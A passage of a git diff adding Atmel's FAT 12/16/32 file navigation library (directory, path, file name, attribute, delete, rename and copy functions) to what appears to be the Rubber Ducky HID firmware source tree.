u8_i++ ) + { + switch( u8_i ) + { + case 0: + u8_character = nav_drive_getname(); // Letter + break; + case 1: + u8_character = ':'; // ":" + break; + case 2: + default: + u8_character = 0; // end of string + break; + } + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[0] = u8_character; + }else{ + sz_path [0] = u8_character; + } + sz_path += (Is_unicode? 2 : 1 ); + } + status = true; + + } + return status; +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function creates a directory in the directory corresponding at file list +//! +//! @param sz_name directory name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ) +{ + if ( !fat_check_mount_noopen()) + return false; + + // Create an entry file + if ( !nav_file_create( sz_name )) + return false; + + // Allocate one cluster for the new directory + MSB0(fs_g_seg.u32_addr)=0xFF; // It is a new cluster list + fs_g_seg.u32_size_or_pos = 1; // Only one sector (= one cluster) + if ( !fat_allocfreespace()) + { + fat_delete_file( false ); + fat_cache_flush(); + return false; + } + + // Save information about the new directory + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; // First cluster of the directory returned by alloc_free_space + fs_g_nav_entry.u32_size = 0; // The directory size is null + fs_g_nav_entry.u8_attr = FS_ATTR_DIRECTORY; // Directory attribut + + // Initialize the values in the new directory + if ( !fat_initialize_dir()) + return false; + + // Write directory information in her entry file + if ( !fat_read_dir()) + return false; + fat_write_entry_file(); + if( !fat_cache_flush()) + return false; + + // Go to position of new directory (it is the last directory) + return nav_filelist_last( FS_DIR ); +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns the full path of the selection +//! +//! @param sz_path string to store the path (ASCII or UNICODE ) +//! @param u8_size_path string size (unit ASCII or UNICODE ) +//! @param b_view_file_select true, to include in path the selected file name +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select ) +{ + _MEM_TYPE_SLOW_ Fs_index index; + _MEM_TYPE_SLOW_ uint16_t u16_lgt=0; // Only used if LENGTH string mode enabled + uint8_t u8_save_size_path=0, u8_i; + Bool status = false; // Error by default + + if ( !fat_check_mount_noopen()) + return false; + + index = nav_getindex(); // Save current position + + if( g_b_string_length ) + { + u16_lgt = 1; // 1 for NULL terminate + } + else + { + u8_save_size_path = u8_size_path; + // Set NULL terminator at the end of path + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = 0; + }else{ + sz_path [u8_size_path] = 0; + } + } + + // For each directory of path + while( 1 ) + { + if( b_view_file_select ) + { + // Write the selected file or directory in path + b_view_file_select = false; + if( !fat_check_select() ) + continue; // No selected file or directory, then restart loop to go at the first directory of path + } + else + { + // Go to parent directory and selects the children directory + if( !nav_dir_gotoparent() ) + break; + } + + // Read name of selected file or directory + if( !nav_file_name( sz_path , u8_size_path , FS_NAME_GET, false )) + break; + + if( g_b_string_length ) + { + // Update total length + u16_lgt += ((FS_STR_UNICODE)sz_path )[0]; // 0 = -1 to remove NULL terminated and +1 for '\\' + continue; + } + + // Compute the size of name + u8_i = 0; + while( 1 ) + { + if( Is_unicode ) + { + if( 0 == ((FS_STR_UNICODE)sz_path )[u8_i]) + break; + }else{ + if( 0 == sz_path [u8_i]) + break; + } + u8_i++; + } + + // Check the string size + if( (u8_i+1) == u8_size_path ) + { + fs_g_status = FS_ERR_BUFFER_FULL; // The path string is full + break; + } + + // Move the name at the end of path + while( 0 != u8_i ) + { + u8_i--; + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = ((FS_STR_UNICODE)sz_path )[u8_i]; + }else{ + sz_path [u8_size_path] = sz_path [u8_i]; + } + } + // Set '\' char before the name + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = '\\'; + }else{ + sz_path [u8_size_path] = '\\'; + } + } + + if ( FS_ERR_IS_ROOT == fs_g_status ) + { + if( g_b_string_length ) + { + // Update and write total length + ((FS_STR_UNICODE)sz_path )[0] = u16_lgt +2 ; //+2 for "x:" + status = true; + } + else + { + // End of path then add device name + if( 2 > u8_size_path ) + { + fs_g_status = FS_ERR_BUFFER_FULL; // The path string is full + } + else + { + // Create a device name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[0] = nav_drive_getname(); // Letter + ((FS_STR_UNICODE)sz_path )[1] = ':'; // ":" + }else{ + sz_path [0] = nav_drive_getname(); // Letter + sz_path [1] = ':'; // ":" + } + + // The path is stored at the end, then move the path at the beginning + u8_i = 2; + while( u8_save_size_path != u8_size_path ) + { + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_i] = ((FS_STR_UNICODE)sz_path )[u8_size_path]; + }else{ + sz_path [u8_i] = sz_path [u8_size_path]; + } + u8_i++; + u8_size_path++; + } + status = true; + } + } + } // else Error system + + nav_gotoindex( &index ); // Restore the position + return status; +} + + +//! This function selects a disk position via a path +//! +//! @param sz_path path string (ASCII or UNICODE ) +//! @param b_match_case false to ignore the case +//! @param b_create true, if path does not exist then create it
+//! false, no create path
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! The syntact "./../../file_name" is supported. +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ) +{ + _MEM_TYPE_SLOW_ Fs_index index; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) || \ + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + FS_STRING sz_save_path = 0; +#endif + Bool b_create_name = false; + + if ( !fat_check_noopen()) + return false; + + index = nav_getindex(); // Save current position + + // Check syntact "\path..." + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0]) || ('/' == ((FS_STR_UNICODE)sz_path )[0])) ) + || ((!Is_unicode) && (('\\' == sz_path [0]) || ('/' == sz_path [0])) ) ) + { + // Go to the root of current drive + if( !nav_dir_root()) + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) + || ((!Is_unicode) && (( ':' == sz_path [1] ) && (('\\' == sz_path [2] ) || ('/' == sz_path [2]))) ) ) + { + // Go to the drive + if( Is_unicode ) + { + if( !nav_drive_set( toupper(((FS_STR_UNICODE)sz_path )[0])-'A' ) ) + goto nav_setcwd_fail; + }else{ + if( !nav_drive_set( toupper(sz_path [0])-'A' ) ) + goto nav_setcwd_fail; + } + if( !nav_partition_mount()) + goto nav_setcwd_fail; + sz_path += 3*(Is_unicode? 2 : 1 ); + }else + + // Check syntact ".\path..." + if( (( Is_unicode) && (( '.' == ((FS_STR_UNICODE)sz_path )[0] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[1] ) || ('/' == ((FS_STR_UNICODE)sz_path )[1] ))) ) + || ((!Is_unicode) && (( '.' == sz_path [0] ) && (('\\' == sz_path [1] ) || ('/' == sz_path [1] ))) ) ) + { + // Search in current directory + sz_path += 2*(Is_unicode? 2 : 1 ); + }else + + { + // Check syntact "..\..\path..." + if( Is_unicode ) + { + while(( '.' == ((FS_STR_UNICODE)sz_path )[0] ) + && ( '.' == ((FS_STR_UNICODE)sz_path )[1] ) + && (('\\' == ((FS_STR_UNICODE)sz_path )[2]) || ('/' == ((FS_STR_UNICODE)sz_path )[2]) || (0 == ((FS_STR_UNICODE)sz_path )[2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += (2*2); // jump ".." + if( 0 != ((FS_STR_UNICODE)sz_path )[0]) + sz_path += (2*1); // jump "/" + } + }else{ + while(( '.' == sz_path [0] ) + && ( '.' == sz_path [1] ) + && (('\\' == sz_path [2]) || ('/' == sz_path [2]) || (0 == sz_path [2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += 2; // jump ".." + if( 0 != sz_path [0]) + sz_path +=1; // jump "/" + } + } + } + + // Reset list to start the search at the beginning + if( !nav_filelist_reset()) + goto nav_setcwd_fail; + + while( 1 ) + { + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + return true; // path (without file) is found or create + } + if( !nav_filelist_findname( sz_path , b_match_case )) + { + // The file or directory is not found + if( !b_create ) + goto nav_setcwd_fail; // don't creat the directory then exit + // Set flag to create the directory + b_create_name = true; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) || \ + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + sz_save_path = sz_path; +#endif + } + + while( 1 ) + { + sz_path += (Is_unicode? 2 : 1 ); + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + // Is it the last name of path and it is a file + if( b_create_name ) + { +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + // The file must be created + if( !nav_file_create( sz_save_path ) ) + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + break; // The file include in path is found or created, then end of set_cwd + } + + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0] ) || ('/' == ((FS_STR_UNICODE)sz_path )[0] )) ) + || ((!Is_unicode) && (('\\' == sz_path [0] ) || ('/' == sz_path [0] )) ) ) + { + // Is it a folder name + if( b_create_name ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + // The folder doesn't exist and it must be created + if( !nav_dir_make( sz_save_path )) + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + if( !fat_entry_is_dir() ) + goto nav_setcwd_fail; + // jump '\' + sz_path += (Is_unicode? 2 : 1 ); + if( !nav_dir_cd()) + goto nav_setcwd_fail; + break; + } + } + + } + +nav_setcwd_fail: + nav_gotoindex( &index ); // Restore the position + return false; +} + + + + +//********************************************************************** +//*********************** File control functions *********************** + + +//! This function returns the name of selected file +//! +//! @param sz_name string to store the name file (ASCII or UNICODE )
+//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max ) +{ + return nav_file_name( sz_name, u8_size_max, FS_NAME_GET, false ); +} + + +//! This function returns the name of selected file or checks the string with the name of selected file +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the name of selected file
+//! FS_NAME_CHECK to check the name of selected file
+//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE )
+//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE), +//! it must be terminated by NULL or '*' value
+//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action) +//! +//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ + _MEM_TYPE_SLOW_ uint16_t u16_lgt; // Only used if LENGTH string mode enabled + uint16_t u16_ptr_save_entry; + Bool b_readshortname = false; + + if ( !fat_check_mount_select()) + return false; + + // Check if the string size is not 0 + if( (FS_NAME_GET == b_mode) + && (0 == u8_size_max) ) + { + return true; + } + + // Save the current entry position + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; + // if it is the beginning of the directory + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + b_readshortname = true; // It isn't possibled to have a long name + } + else + { + fs_g_nav_fast.u16_entry_pos_sel_file--; // Initialize entry position to search the first long name entry + } + + // Loop in directory entry + u16_lgt = 0; + while( 1 ) + { + if ( !fat_read_dir()) + break; // error + + if ( b_readshortname ) + { + // No long name present then read short name + return fat_entry_shortname( sz_name , u8_size_max , b_mode ); + } + + // Check or read the part of long file name in this entry + if ( fat_entry_longname( sz_name , u8_size_max , b_mode , b_match_case )) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name )[0] += u16_lgt; + } + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + return true; + } + + if ( FS_NO_LAST_LFN_ENTRY != fs_g_status ) + { + // Go to the main entry file (=short name entry) + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + + if ( FS_ERR_ENTRY_BAD == fs_g_status ) + { + // It isn't a long name entry then there aren't long file name + b_readshortname = true; // It is mandatory to use the short name + continue; // restart the loop + } + // here, it is a error system or the string don't match with the file name + break; + } + if( g_b_string_length ) + { + u16_lgt += FS_SIZE_LFN_ENTRY; + } + else + { + // Increment the string to store the next part of file name + sz_name += FS_SIZE_LFN_ENTRY * (Is_unicode? 2 : 1 ); + u8_size_max -= FS_SIZE_LFN_ENTRY; + } + fs_g_nav_fast.u16_entry_pos_sel_file--; // Go to the next part of long file name + + } // end of loop while(1) + return false; +} + + +//! This function returns the size of selected file (unit byte) +//! +//! @return Size of selected file (unit byte) +//! +uint32_t nav_file_lgt( void ) +{ + return fs_g_nav_entry.u32_size; +} + + +//! This function returns the size of selected file (unit sector) +//! +//! @return Size of selected file (unit 512B) +//! +uint16_t nav_file_lgtsector( void ) +{ + return (fs_g_nav_entry.u32_size >> FS_512B_SHIFT_BIT); +} + + +//! This function checks the write protection of disk and the attribut "read only" of selected file +//! +//! @return false, it is possible to modify the selected file +//! @return true, in other case +//! +Bool nav_file_isreadonly( void ) +{ + if( !fat_check_mount_select() ) + return true; // No file selected + if( mem_wr_protect( fs_g_nav.u8_lun ) ) + return true; // Disk protected + return (0!=(FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr)); // Check attribut "read only" +} + + +//! This function returns the type of selected file +//! +//! @return true, it is a directory +//! @return false, in other case +//! +Bool nav_file_isdir( void ) +{ + return fat_entry_is_dir(); +} + + +//! This function checks the extension of selected file +//! +//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" ) +//! +//! @return true, the file extension match with extension filter +//! @return false, in other case +//! +Bool nav_file_checkext( const FS_STRING sz_filterext ) +{ + if ( fat_check_mount_select() ) + { + // Read selected entry (=short name entry) in directory + if ( fat_read_dir()) + { + // Check the extension with filter + if ( fat_entry_checkext( (FS_STRING) sz_filterext ) ) + return true; + } + } + return false; +} + + +//! This function returns the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string (>17B) to store the information about date
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateget( FS_STRING sz_date , Bool type_date ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + fat_get_date( sz_date , type_date ); + return true; +} + + +//! This function returns the attribut of selected file +//! +//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +uint8_t nav_file_attributget( void ) +{ + return fs_g_nav_entry.u8_attr; +} + + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string contains the date to write
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + fat_set_date( sz_date , type_date ); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the attribut of selected file +//! +//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_attributset( uint8_t u8_attribut ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + + // Write the new attribut + fs_g_nav_entry.u8_attr &= (~(FS_ATTR_READ_ONLY|FS_ATTR_HIDDEN|FS_ATTR_SYSTEM|FS_ATTR_ARCHIVE)); + fs_g_nav_entry.u8_attr |= u8_attribut & (FS_ATTR_READ_ONLY|FS_ATTR_HIDDEN|FS_ATTR_SYSTEM|FS_ATTR_ARCHIVE); + fat_write_entry_file(); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function deletes the selected file or directory +//! +//! @param b_only_empty true, delete the directory only if empty
+//! false, delete directories and files include in selected directory
+//! If the selection is not a directory then this param is ignored. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_del( Bool b_only_empty ) +{ + uint8_t u8_folder_level = 0xFF; + + if ( !fat_check_mount_select_noopen()) + return false; + + if( 0xFF == u8_folder_level ) // to remove a eventually compile warning + goto nav_file_del_test_dir_or_file; + + // loop to scan and delete ALL folders and ALL files + while(1) + { + while(1) + { + if( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + // Directory no empty + if( b_only_empty ) + { + fs_g_status = FS_ERR_DIR_NOT_EMPTY; // Erase only the empty directory + return false; + } + break; // Exit loop to delete files or directories present + } + // HERE, directory empty + + // Go to parent directory and this one select the children directory + if( !nav_dir_gotoparent() ) + return false; + + // Delete children directory name and her cluster list + if ( !fat_delete_file( true )) + return false; + + if( 0 == u8_folder_level ) + { + // All directory tree is deleted + return true; //********* END OF DEL TREE ************** + } + u8_folder_level--; + + } // end of second while (1) + +nav_file_del_test_dir_or_file: + if( nav_file_isdir()) + { + // here, a directory is found and is selected + if( !nav_dir_cd()) + return false; + u8_folder_level++; + } + else + { + // here, a file is found and is selected + if( !fat_check_nav_access_file( true ) ) + return false; + // delete file entry name and cluster list + if ( !fat_delete_file( true )) + return false; + if( 0xFF == u8_folder_level ) + break; // only one file to delete + } // if dir OR file + } // end of first while(1) + + // Reset selection + nav_filelist_reset(); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function renames the selected directory or file +//! +//! @param sz_name new name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_rename( const FS_STRING sz_name ) +{ + uint16_t u16_save_entry_pos; + Bool b_save_entry_type; + uint8_t u8_attr; + uint32_t u32_cluster; + uint32_t u32_size; + + if ( !fat_check_mount_select_noopen()) + return false; + + if( !fat_check_nav_access_file( true ) ) + return false; + + // Note: in case of error, create the new name before delete the current name + + // Save information about current name poisition + u16_save_entry_pos = fs_g_nav_fast.u16_entry_pos_sel_file; + b_save_entry_type = fs_g_nav.b_mode_nav; + // Save information about file + u8_attr = fs_g_nav_entry.u8_attr; + u32_cluster = fs_g_nav_entry.u32_cluster; + u32_size = fs_g_nav_entry.u32_size; + + // Create a name + if ( !nav_file_create( sz_name )) + return false; // error + // Restore information about file or directory on the new name entry + if ( !fat_read_dir()) + return false; + fs_g_nav_entry.u8_attr = u8_attr; + fs_g_nav_entry.u32_cluster = u32_cluster; + fs_g_nav_entry.u32_size = u32_size; + fat_write_entry_file(); + + // Delete old entry name + fs_g_nav_fast.u16_entry_pos_sel_file = u16_save_entry_pos; // go to old entry name + if ( !fat_delete_file(false) ) + return false; + if ( !fat_cache_flush() ) + return false; + + // Go to at the position of the new name entry (it is the last file or directory ) + return nav_filelist_last( b_save_entry_type ); +} +#endif // FS_LEVEL_FEATURES + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + +//! This function creates a file with NULL size and NULL attribut +//! +//! @param sz_name file name to create (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ) +{ + // Check if the name already exists + if (!nav_filelist_reset()) + return false; + if (nav_filelist_findname(sz_name , false)) + { + fs_g_status = FS_ERR_FILE_EXIST; + return false; // File exist -> it is not possible to create this name + } + // FYC: here, the selection is at the end of the list + // Create name entrys + if ( !fat_create_entry_file_name( sz_name )) + return false; // error + // By default the information about the new file is NULL + fs_g_nav_entry.u32_cluster = 0; // No first cluster + fs_g_nav_entry.u32_size = 0; // The size is null + fs_g_nav_entry.u8_attr = 0; // Attribut is a file + + // It is the last FILE of the list + fs_g_nav.u16_pos_sel_file++; + fs_g_nav.b_mode_nav = FS_FILE; + return fat_cache_flush(); +} + + +//! This function updates the COPY navigator with the selected file +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h). +//! @endverbatim +//! +Bool nav_file_copy( void ) +{ + if( nav_file_isdir() ) + { + fs_g_status = FS_ERR_COPY_DIR; // Impossible to copy a directory + return false; + } + // In "copy file" navigator select the file + nav_copy( FS_NAV_ID_COPYFILE ); + return true; +} + + +//! This function pastes the selected file in COPY navigator in the file list of the current navigator +//! +//! @param sz_name file name of the new file (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine, you shall called nav_file_paste_state() to run and way the copy +//! @endverbatim +//! +Bool nav_file_paste_start( const FS_STRING sz_name ) +{ + uint8_t nav_id_save; + Bool status; + + if( ID_STREAM_ERR != g_id_trans_memtomem ) + { + + fs_g_status = FS_ERR_COPY_RUNNING; // A copy action is always running + return false; + } + + // Create the file to paste + if( !nav_file_create( sz_name ) ) + return false; + // Open the file in write mode with size 0 + if( !file_open( FOPEN_MODE_W_PLUS )) + return false; + + // Open the file to copy + nav_id_save = nav_get(); + nav_select( FS_NAV_ID_COPYFILE ); + status = file_open(FOPEN_MODE_R); + nav_select( nav_id_save ); + + // If error then close "paste file" + if( !status ) + { + file_close(); + return false; + }else{ + // Signal start copy + g_id_trans_memtomem = ID_STREAM_ERR-1; + g_segment_src.u16_size = 0; + return true; + } +} + + +//! This function executes the copy file +//! +//! @param b_stop set true to stop copy action +//! +//! @return copy status
+//! COPY_BUSY, copy running +//! COPY_FAIL, copy fail +//! COPY_FINISH, copy finish +//! +uint8_t nav_file_paste_state( Bool b_stop ) +{ + Ctrl_status status_stream; + uint8_t status_copy; + uint8_t nav_id_save; + _MEM_TYPE_SLOW_ uint16_t u16_nb_sector_trans; + + nav_id_save = nav_get(); + + // Check, if the copy is running + if( ID_STREAM_ERR == g_id_trans_memtomem ) + return COPY_FAIL; + + if( b_stop ) + { + status_copy = COPY_FAIL; + } + else + { + if( (ID_STREAM_ERR-1) != g_id_trans_memtomem ) + { + // It isn't the beginning of copy action, then check current stream + status_stream = stream_state( g_id_trans_memtomem ); + switch( status_stream ) + { + case CTRL_BUSY: + status_copy = COPY_BUSY; + break; + case CTRL_GOOD: + status_copy = COPY_FINISH; + break; + case CTRL_FAIL: + default: + status_copy = COPY_FAIL; + break; + } + }else{ + status_copy = COPY_FINISH; + } + + // Compute the new segment to copy + if( COPY_FINISH == status_copy ) + { + stream_stop( g_id_trans_memtomem ); + + if( 0 != g_segment_src.u16_size ) + { + status_copy = COPY_BUSY; // start the next continue stream + } + else + { + // check eof source file + nav_select( FS_NAV_ID_COPYFILE ); + if( 0 == file_eof() ) + { + status_copy = COPY_BUSY; + g_segment_src.u16_size = 0xFFFF; // Get the maximum segment supported by navigation (uint16_t) + if( !file_read( &g_segment_src )) + { + status_copy = COPY_FAIL; + } + } + nav_select( nav_id_save ); + + // Check destination file + if( COPY_BUSY == status_copy ) + { + g_segment_dest.u16_size = g_segment_src.u16_size; // Ask the segment no more larger than source segment + if( !file_write( &g_segment_dest )) + { + status_copy = COPY_FAIL; + } + } + + // Start new segment copy + if( COPY_BUSY == status_copy ) + { + // Compute a minimal segment + if( g_segment_src.u16_size > g_segment_dest.u16_size ) + { + // Reposition source file + nav_select( FS_NAV_ID_COPYFILE ); + if( !file_seek( (uint32_t)(g_segment_src.u16_size - g_segment_dest.u16_size)*FS_512B , FS_SEEK_CUR_RE )) + { + status_copy = COPY_FAIL; + } + nav_select( nav_id_save ); + g_segment_src.u16_size = g_segment_dest.u16_size; // Update source to start a correct transfer + } + } + } + if( COPY_BUSY == status_copy ) + { + // Split transfer by step of SIZE_OF_SPLIT_COPY + if( g_segment_src.u16_size < SIZE_OF_SPLIT_COPY ) + u16_nb_sector_trans = g_segment_src.u16_size; + else + u16_nb_sector_trans = SIZE_OF_SPLIT_COPY; + + g_id_trans_memtomem = stream_mem_to_mem( g_segment_src.u8_lun , g_segment_src.u32_addr , g_segment_dest.u8_lun , g_segment_dest.u32_addr , u16_nb_sector_trans ); + if( ID_STREAM_ERR == g_id_trans_memtomem ) + status_copy = COPY_FAIL; + g_segment_src.u32_addr +=u16_nb_sector_trans; + g_segment_dest.u32_addr+=u16_nb_sector_trans; + g_segment_src.u16_size -=u16_nb_sector_trans; + } + } + } + + // Check end of copy + if( COPY_BUSY != status_copy ) + { + uint32_t u32_size_exact; + + // Stop copy + stream_stop( g_id_trans_memtomem ); + g_id_trans_memtomem = ID_STREAM_ERR; + + // Get exact size and close the source file + nav_select( FS_NAV_ID_COPYFILE ); + u32_size_exact = nav_file_lgt(); + file_close(); + nav_select( nav_id_save ); + + // If no error then set the exact size on the destination file + if( COPY_FINISH == status_copy ) + { + if( !file_seek( u32_size_exact , FS_SEEK_SET )) + { + status_copy = COPY_FAIL; + }else{ + if( !file_set_eof() ) + { + status_copy = COPY_FAIL; + } + } + } + file_close(); + // If error then delete the destination file + if( COPY_FAIL == status_copy ) + { + nav_file_del( true ); + } + } + return status_copy; +} +#endif // FS_LEVEL_FEATURES diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.h new file mode 100755 index 0000000..6bcbf4f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.h @@ -0,0 +1,766 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for file navigation. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _NAVIGATION_H_ +#define _NAVIGATION_H_ + +#include "fs_com.h" +#include "fat.h" + +//! \name nav_filelist_set() options parameter +//! @{ +#define FS_FIND_NEXT true //!< move in list to next file +#define FS_FIND_PREV false //!< move in list to previous file +//! @} + + 